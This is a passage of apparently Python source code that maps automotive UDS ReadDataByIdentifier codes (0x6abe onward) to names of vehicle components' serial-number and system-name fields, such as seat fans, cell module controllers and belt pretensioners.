\"Valve_block_1_in_passenger_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6abe] = \"Valve_block_2_in_passenger_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6abf] = \"Valve_block_3_in_passenger_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac0] = \"Coolant_heater_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac1] = \"Seat_backrest_fan_1_front_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac2] = \"Seat_backrest_fan_2_front_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac3] = \"Seat_cushion_fan_1_front_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac4] = \"Seat_cushion_fan_2_front_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac5] = \"Seat_backrest_fan_1_front_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac6] = \"Seat_backrest_fan_2_front_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac7] = \"Seat_cushion_fan_1_front_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac8] = \"Seat_cushion_fan_2_front_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ac9] = \"Operating_and_display_unit_1_for_air_conditioning_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aca] = \"Operating_and_display_unit_2_for_air_conditioning_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6acb] = \"Operating_and_display_unit_3_for_air_conditioning_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6acc] = \"Operating_and_display_unit_4_for_air_conditioning_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6acd] = \"Operating_and_display_unit_5_for_air_conditioning_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ace] = \"Pedestrian_protection_left_hand_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6acf] = \"Pedestrian_protection_right_hand_side_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad0] = \"Battery_junction_box_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad1] = \"Cell_module_controller_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad2] = \"Cell_module_controller_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad3] = \"Cell_module_controller_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad4] = \"Cell_module_controller_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad5] = \"Cell_module_controller_5_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad6] = \"Cell_module_controller_6_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad7] = \"Cell_module_controller_7_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad8] = \"Cell_module_controller_8_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ad9] = \"Cell_module_controller_9_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ada] = \"Cell_module_controller_10_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6adb] = \"Cell_module_controller_11_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6adc] = \"Cell_module_controller_12_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6add] = \"Seat_backrest_fan_1_rear_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ade] = \"Seat_backrest_fan_2_rear_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6adf] = \"Seat_cushion_fan_1_rear_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae0] = \"Seat_cushion_fan_2_rear_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae1] = \"Seat_backrest_fan_1_rear_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae2] = \"Seat_backrest_fan_2_rear_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae3] = \"Seat_cushion_fan_1_rear_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae4] = \"Seat_cushion_fan_2_rear_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae5] = \"Auxiliary_blower_motor_control_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae6] = \"Auxiliary_blower_motor_control_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae7] = \"Infrared_sender_for_front_observation_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae8] = \"Starter_generator_control_module_sub_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6ae9] = \"Media_player_1_sub_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aea] = \"Media_player_2_sub_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aeb] = \"Dedicated_short_range_communication_aerial_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aec] = \"Refrigerant_pressure_and_temperature_sender_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aed] = \"Refrigerant_pressure_and_temperature_sender_5_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aee] = \"Refrigerant_pressure_and_temperature_sender_6_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aef] = \"Air_coolant_actuator_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af0] = \"Air_coolant_actuator_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af1] = \"Cell_module_controller_13_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af2] = \"Cell_module_controller_14_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af3] = \"Cell_module_controller_15_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af5] = \"Seat_heating_rear_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af6] = \"LED_warning_indicator_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af7] = \"Automatic_transmission_fluid_pump_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af8] = \"Manual_transmission_fluid_pump_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6af9] = \"Convenience_and_driver_assist_operating_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6afb] = \"Air_coolant_actuator_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6afc] = \"Valve_block_4_in_driver_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6afd] = \"Valve_block_4_in_passenger_side_rear_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6afe] = \"Valve_block_4_in_driver_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6aff] = \"Valve_block_4_in_passenger_side_front_seat_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b01] = \"Rear_climatronic_operating_and_display_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b02] = \"Refrigerant_expansion_valve_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b03] = \"Refrigerant_expansion_valve_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b04] = \"Refrigerant_expansion_valve_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b05] = \"Refrigerant_shut_off_valve_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b06] = \"Refrigerant_shut_off_valve_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b07] = \"Refrigerant_shut_off_valve_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b08] = \"Refrigerant_shut_off_valve_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b09] = \"Refrigerant_shut_off_valve_5_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b0a] = \"Sunlight_sensor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b0b] = \"Near_field_communication_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b0c] = \"Clutch_control_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b0d] = \"Electrical_charger_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b0e] = \"Rear_light_left_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b0f] = \"Rear_light_right_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b10] = \"Rear_light_right_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b11] = \"Sunlight_sensor_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b12] = \"Radiator_shutter_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b13] = \"Radiator_shutter_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b14] = \"Radiator_shutter_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b15] = \"Radiator_shutter_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b18] = \"Special_key_operating_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b19] = \"Radio_interface_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b1a] = \"Video_self_protection_recorder_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b1b] = \"Special_vehicle_assist_interface_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b1c] = \"Electric_system_disconnection_diode_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b1d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b1e] = \"Belt_pretensioner_2nd_row_left_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b1f] = \"Belt_pretensioner_2nd_row_right_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b20] = \"Electrical_variable_camshaft_phasing_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b21] = \"Electrical_variable_camshaft_phasing_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b22] = \"Wireless_operating_unit_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b23] = \"Wireless_operating_unit_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b24] = \"Front_windshield_washer_pump_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b25] = \"Air_quality_sensor_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b26] = \"Fragrancing_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b27] = \"Coolant_valve_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b28] = \"Near_field_communication_control_module_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b29] = \"Interior_monitoring_rear_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b2a] = \"Cooler_fan_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b2b] = \"Control_unit_heating_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b2c] = \"Control_unit_heating_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b2d] = \"Control_unit_heating_3_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b2e] = \"Control_unit_heating_4_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b2f] = \"Operating_unit_drive_mode_selection_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b30] = \"Side_sensor_a-pillar_driver_front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b31] = \"Side_sensor_a-pillar_passenger_front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b32] = \"Sensor_high_voltage_system_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b33] = \"Side_sensor_b-pillar_driver_front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b34] = \"Side_sensor_b-pillar_passenger_front_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b35] = \"Multi_function_steering_wheel_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b36] = \"Gear_selection_display_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b37] = \"Cooler_fan_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b38] = \"Gear_selector_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b39] = \"Interior_light_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b3a] = \"Radio_control_center_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b3b] = \"Multimedia_extension_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b3c] = \"Control_unit_differential_lock_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b3d] = \"Control_unit_ride_control_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b3e] = \"Control_unit_hands_on_detection_steering_wheel_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b3f] = \"Front_climatronic_operating_and_display_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b40] = \"Auxiliary_display_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b41] = \"Card_reader_tv_tuner_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b42] = \"Park_lock_actuator_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b43] = \"Media_connector_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6b44] = \"Catalyst_heating_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x6c01] = \"Control_unit_for_wiper_motor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c02] = \"Rain_light_recognition_sensor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c03] = \"Light_switch_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c04] = \"Garage_door_opener_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c05] = \"Garage_door_opener_operating_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c06] = \"Ignition_key_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c07] = \"Left_front_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c08] = \"Right_front_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c09] = \"Left_rear_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c0a] = \"LED_headlamp_powermodule_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c0b] = \"LED_headlamp_powermodule_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c0c] = \"LED_headlamp_powermodule_2_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c0d] = \"LED_headlamp_powermodule_2_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c0e] = \"Operating_and_display_unit_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c0f] = \"Operating_and_display_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c10] = \"Right_rear_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c11] = \"Data_medium_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c12] = \"Drivers_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c13] = \"Front_passengers_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c14] = \"Left_headlamp_power_output_stage_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c15] = \"Right_headlamp_power_output_stage_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c16] = \"Sensor_for_anti_theft_alarm_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c17] = \"Rear_lid_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c18] = \"Alarm_horn_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c19] = \"Automatic_day_night_interior_mirror_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c1a] = \"Remote_control_auxiliary_heater_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c1b] = \"Fresh_air_blower_front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c1c] = \"Fresh_air_blower_back_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c1d] = \"Alternator_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c1e] = \"Interior_light_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c1f] = \"Refrigerant_pressure_and_temperature_sender_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c20] = \"Sun_roof_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c21] = \"Steering_column_lock_actuator_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c22] = \"Anti_theft_tilt_system_control_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c23] = \"Tire_pressure_monitor_antenna_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c24] = \"Heated_windshield_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c25] = \"Rear_light_left_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c26] = \"Ceiling_light_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c27] = \"Left_front_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c28] = \"Right_front_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c29] = \"Control_module_for_auxiliary_air_heater_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c2a] = \"Belt Pretensioner left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c2b] = \"Belt Pretensioner right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c2c] = \"Occupant Detection_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c2d] = \"Selector_lever_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c2e] = \"NOx_sensor_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c2f] = \"NOx_sensor_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c30] = \"Ioniser_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c31] = \"Multi_function_steering_wheel_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c32] = \"Left_rear_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c33] = \"Right_rear_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c34] = \"Left_rear_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c35] = \"Right_rear_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c36] = \"Display_unit_1_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c37] = \"Battery_monitoring_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c38] = \"Roof_blind_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c39] = \"Sun_roof_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c3a] = \"Steering_angle_sender_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c3b] = \"Lane_change_assistant 2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c3c] = \"Pitch_rate_sender_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c3d] = \"ESP_sensor_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c3e] = \"Electronic_ignition_lock_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c3f] = \"Air_quality_sensor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c40] = \"Display_unit_2_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c41] = \"Telephone_handset_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c42] = \"Chip_card_reader_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c43] = \"Traffic_data_aerial_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c44] = \"Hands_free_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c45] = \"Telephone_handset_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c46] = \"Display_unit_front_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c47] = \"Multimedia_operating_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c48] = \"Digital_sound_system_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c49] = \"Electrically_adjustable_steering_column_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c4a] = \"Interface_for_external_multimedia_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c4b] = \"Relative_Air_Humidity_Interior_Sender_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c4c] = \"Drivers_door_rear_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c4d] = \"Passengers_rear_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c4e] = \"Sensor_controlled_power_rear_lid_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c4f] = \"Camera_for_night_vision_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c50] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c51] = \"Rear_spoiler_adjustment_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c52] = \"Roof_blind_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c53] = \"Motor_for_wind_deflector_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c54] = \"Voltage_stabilizer_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c55] = \"Switch_module_for_driver_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c56] = \"Switch_module_for_front_passenger_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c57] = \"Switch_module_for_rear_seat_driver_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c58] = \"Switch_module_for_rear_seat_front_passenger_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c59] = \"Switch_module_2_for_driver_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c5a] = \"Battery_charger_unit_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c5b] = \"Battery_charger_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c5c] = \"Battery_charger_unit_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c5d] = \"Air_conditioning_compressor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c5e] = \"Neck_heating_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c5f] = \"Neck_heating_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c60] = \"Switch_module_2_for_front_passenger_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c61] = \"Switch_module_2_for_rear_seat_front_passenger_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c62] = \"Compact_disc_database_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c63] = \"Rear_climatronic_operating_and_display_unit_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c64] = \"Rear_climatronic_operating_and_display_unit_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c65] = \"Door_handle_front_left_Kessy_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c66] = \"Door_handle_front_right_Kessy_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c67] = \"Door_handle_rear_left_Kessy_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c68] = \"Door_handle_rear_right_Kessy_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c69] = \"Power_converter_DC_AC_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c6a] = \"Battery_monitoring_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c6b] = \"Matrix_headlamp_powermodule_1_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c6c] = \"Matrix_headlamp_powermodule_1_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c6d] = \"High_beam_powermodule_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c6e] = \"High_beam_powermodule_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c6f] = \"Air_suspension_compressor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c70] = \"Rear_brake_actuator_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c71] = \"Rear_brake_actuator_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c72] = \"Analog_clock_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c73] = \"Rear_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c79] = \"Data_medium_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c7a] = \"Operating_unit_center_console_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c7b] = \"Operating_unit_center_console_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c7c] = \"Operating_unit_center_console_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c7d] = \"Operating_unit_center_console_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c7e] = \"Interface_for_radiodisplay_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c7f] = \"Parkassist_entry_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c86] = \"Belt_pretensioner_3rd_row_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c87] = \"Belt_pretensioner_3rd_row_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c88] = \"Injection_valve_heater_control_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c89] = \"Steering_column_switch_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c8a] = \"Brake_assistance_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c8b] = \"Trailer_articulation_angle_sensor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c8c] = \"Cup_holder_with_heater_and_cooling_element_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c8d] = \"Range_of_vision_sensing_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c8e] = \"Convenience_and_driver_assist_operating_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c8f] = \"Cradle_rear_climatronic_operating_and_display_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c90] = \"Trailer_weight_nose_weight_detection_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c91] = \"Sensor_carbon_dioxide_concentration_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c92] = \"Sensor_fine_dust_concentration_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c93] = \"Volume_control_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c94] = \"Belt_buckle_presenter_2nd_row_left_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c95] = \"Belt_buckle_presenter_2nd_row_right_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c96] = \"Operating_and_display_unit_6_for_air_conditioning_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c97] = \"Active_accelerator_pedal_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c98] = \"Multimedia_operating_unit_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c99] = \"Display_unit_3_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c9a] = \"Display_unit_4_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c9b] = \"Display_unit_5_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c9c] = \"Control_module_for_auxiliary_blower_motors_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c9d] = \"Operating_and_display_unit_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c9e] = \"Operating_and_display_unit_4_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6c9f] = \"Operating_and_display_unit_5_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca0] = \"Side Sensor Driver Front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca1] = \"Side Sensor Passenger Front_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca2] = \"Side Sensor Driver Rear_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca3] = \"Side Sensor Passenger Rear_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca4] = \"Front Sensor Driver_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca5] = \"Front Sensor Passenger_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca6] = \"Pedestrian Protection Driver_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca7] = \"Pedestrian Protection Passenger_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca8] = \"Rear Sensor Center_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6ca9] = \"Pedestrian Protection Center_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6caa] = \"Pedestrian Protection Contact_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cab] = \"Pedestrian_protection_driver_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cac] = \"Pedestrian_protection_passenger_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cad] = \"Central_sensor_XY_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cae] = \"Refrigerant_pressure_and_temperature_sender_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6caf] = \"Refrigerant_pressure_and_temperature_sender_3_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb0] = \"Switch_for_rear_multicontour_seat_driver_side_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb1] = \"Valve_block_1_in_driver_side_rear_seat_System_Name\"\nUDS_RDBI.dataIdentifiers[0x6cb2] 